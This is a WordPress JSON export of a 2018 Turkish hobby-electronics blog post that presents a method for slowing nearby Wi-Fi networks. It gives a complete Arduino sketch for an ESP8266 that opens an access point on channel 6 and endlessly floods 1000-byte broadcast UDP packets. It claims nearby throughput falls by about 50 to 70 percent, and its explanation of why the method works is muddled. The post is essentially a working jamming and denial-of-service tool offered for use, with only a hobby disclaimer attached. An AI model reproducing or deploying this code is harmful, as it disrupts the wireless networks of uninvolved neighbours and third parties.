{"id":3389,"date":"2018-05-14T22:00:01","date_gmt":"2018-05-14T19:00:01","guid":{"rendered":"https:\/\/devrearsivi.com\/index.php\/?p=3389"},"modified":"2018-05-14T22:03:42","modified_gmt":"2018-05-14T19:03:42","slug":"esp8266-ile-etraftaki-aglari-yavaslatma","status":"publish","type":"post","link":"https:\/\/devrearsivi.com\/esp8266-ile-etraftaki-aglari-yavaslatma\/","title":{"rendered":"ESP8266 ile Etraftaki A\u011flar\u0131 Yava\u015flatma"},"content":{"rendered":"
<\/div>\n

Bu yaz\u0131m\u0131zda etraftaki kablosuz a\u011flar\u0131 yava\u015flatma y\u00f6nteminden bahsetmek istiyorum.<\/p>\n

Nas\u0131l \u00c7al\u0131\u015f\u0131r?<\/h2>\n

E\u011fer bir cihaz ayn\u0131 anda \u00a0hem ba\u011flant\u0131 noktas\u0131 hemde cihaz gibi davran\u0131rsa a\u011f\u0131 kilitler . Bundan dolay\u0131 kablosuz a\u011flar\u0131n \u00e7al\u0131\u015fma mant\u0131\u011f\u0131nda s\u0131ras\u0131yla bilgi al\u0131\u015f-veri\u015fi yap\u0131lmas\u0131d\u0131r.\"\"<\/p>\n

Bilgiler de\u011fi\u015fik h\u0131zlarla kanallar arac\u0131l\u0131\u011f\u0131yla akar. Min h\u0131z 1Mb max. h\u0131z Mod\u00fcle g\u00f6re 54Mb dir. Bilgi h\u0131z\u0131 \u00a0ba\u011flant\u0131n\u0131n kalitesine g\u00f6re de\u011fi\u015fir. kodun mant\u0131\u011f\u0131nda ise ayn\u0131 anda hem al\u0131c\u0131 hemde verici gibi t\u00fcm kanallardan bilgi ak\u0131\u015f\u0131n\u0131 sa\u011flamaya \u00e7al\u0131\u015fmas\u0131ndan kaynaklan\u0131r.<\/p>\n

Alttaki kodda ESP mod\u00fcl\u00fc ayn\u0131 anda 6 kanaldan bilgi al\u0131\u015f-veri\u015fi yapmaya \u00e7al\u0131\u015f\u0131r. Alttaki tabloya bakarak h\u0131z\u0131n\u0131n ne kadar d\u00fc\u015ft\u00fc\u011f\u00fcn\u00fc g\u00f6rebilirsiniz. ESPlerden ilki devreye girince h\u0131z\u0131 yakla\u015f\u0131k %50 oran\u0131nda d\u00fc\u015f\u00fcyor. ikincisi aktif oldu\u011funda ise hizi yakla\u015f\u0131k %70 oran\u0131nda d\u00fc\u015fer . \u00a0Tabloda 3 defa test edilmi\u015f ve h\u0131zlar \u00e7\u0131kar\u0131lm\u0131\u015ft\u0131r.<\/p>\n

 <\/p>\n

\"\"<\/p>\n

Program\u0131m\u0131z i\u00e7in Gerekli Kodlar<\/p>\n

1 #include <ESP8266WiFi.h><\/p>\n

2 #include <WiFiUdp.h><\/p>\n

3<\/p>\n

4 uint8_t pkt[1000];<\/p>\n

5<\/p>\n

6 void setup() {<\/p>\n

7\u00a0\u00a0Serial.begin(115200);<\/p>\n

8<\/p>\n

9\u00a0WiFi.mode(WIFI_AP);<\/p>\n

10\u00a0WiFi.softAP(“00000000”, “00000000”, 6, 1);<\/p>\n

11<\/p>\n

12\u00a0\u00a0memset(pkt, 0, sizeof(pkt));<\/p>\n

13 }<\/p>\n

14<\/p>\n

15 void loop() {<\/p>\n

16\u00a0WiFiUDP udp;<\/p>\n

17\u00a0\u00a0udp.beginPacketMulticast(WiFi.softAPIP(), 1, IPAddress(255,255,255,255), 1);<\/p>\n

18\u00a0\u00a0udp.write(pkt, sizeof(pkt));<\/p>\n

19\u00a0\u00a0udp.endPacket();<\/p>\n

20 }<\/p>\n

hobi olarak tasarlanm\u0131\u015ft\u0131r t\u00fcm sorunlar yap\u0131mc\u0131ya aittir.<\/p>\n","protected":false},"excerpt":{"rendered":"

Bu yaz\u0131m\u0131zda etraftaki kablosuz a\u011flar\u0131 yava\u015flatma y\u00f6nteminden bahsetmek istiyorum. Nas\u0131l \u00c7al\u0131\u015f\u0131r? E\u011fer bir cihaz ayn\u0131…<\/p>\n","protected":false},"author":1,"featured_media":3395,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1062,467],"tags":[1205,1202,1204,1203],"aioseo_notices":[],"featured_image_urls":{"full":["https:\/\/devrearsivi.com\/wp-content\/uploads\/2018\/05\/images.png",246,205,false],"thumbnail":["https:\/\/devrearsivi.com\/wp-content\/uploads\/2018\/05\/images-150x150.png",150,150,true],"medium":["https:\/\/devrearsivi.com\/wp-content\/uploads\/2018\/05\/images.png",246,205,false],"medium_large":["https:\/\/devrearsivi.com\/wp-content\/uploads\/2018\/05\/images.png",246,205,false],"large":["https:\/\/devrearsivi.com\/wp-content\/uploads\/2018\/05\/images.png",246,205,false],"1536x1536":["https:\/\/devrearsivi.com\/wp-content\/uploads\/2018\/05\/images.png",246,205,false],"2048x2048":["https:\/\/devrearsivi.com\/wp-content\/uploads\/2018\/05\/images.png",246,205,false],"covernews-slider-full":["https:\/\/devrearsivi.com\/wp-content\/uploads\/2018\/05\/images.png",246,205,false],"covernews-slider-center":["https:\/\/devrearsivi.com\/wp-content\/uploads\/2018\/05\/images.png",246,205,false],"covernews-featured":["https:\/\/devrearsivi.com\/wp-content\/uploads\/2018\/05\/images.png",246,205,false],"covernews-medium":["https:\/\/devrearsivi.com\/wp-content\/uploads\/2018\/05\/images.png",246,205,false],"covernews-medium-square":["https:\/\/devrearsivi.com\/wp-content\/uploads\/2018\/05\/images.png",246,205,false]},"author_info":{"display_name":"Ferhat \u00c7elik","author_link":"https:\/\/devrearsivi.com\/author\/94ferhat\/"},"category_info":"Arduino Devreler<\/a> Bitirme Tez Devreler<\/a>","tag_info":"Bitirme Tez Devreler","comment_count":"0","_links":{"self":[{"href":"https:\/\/devrearsivi.com\/wp-json\/wp\/v2\/posts\/3389"}],"collection":[{"href":"https:\/\/devrearsivi.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/devrearsivi.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/devrearsivi.com\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/devrearsivi.com\/wp-json\/wp\/v2\/comments?post=3389"}],"version-history":[{"count":4,"href":"https:\/\/devrearsivi.com\/wp-json\/wp\/v2\/posts\/3389\/revisions"}],"predecessor-version":[{"id":3396,"href":"https:\/\/devrearsivi.com\/wp-json\/wp\/v2\/posts\/3389\/revisions\/3396"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/devrearsivi.com\/wp-json\/wp\/v2\/media\/3395"}],"wp:attachment":[{"href":"https:\/\/devrearsivi.com\/wp-json\/wp\/v2\/media?parent=3389"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/devrearsivi.com\/wp-json\/wp\/v2\/categories?post=3389"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/devrearsivi.com\/wp-json\/wp\/v2\/tags?post=3389"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}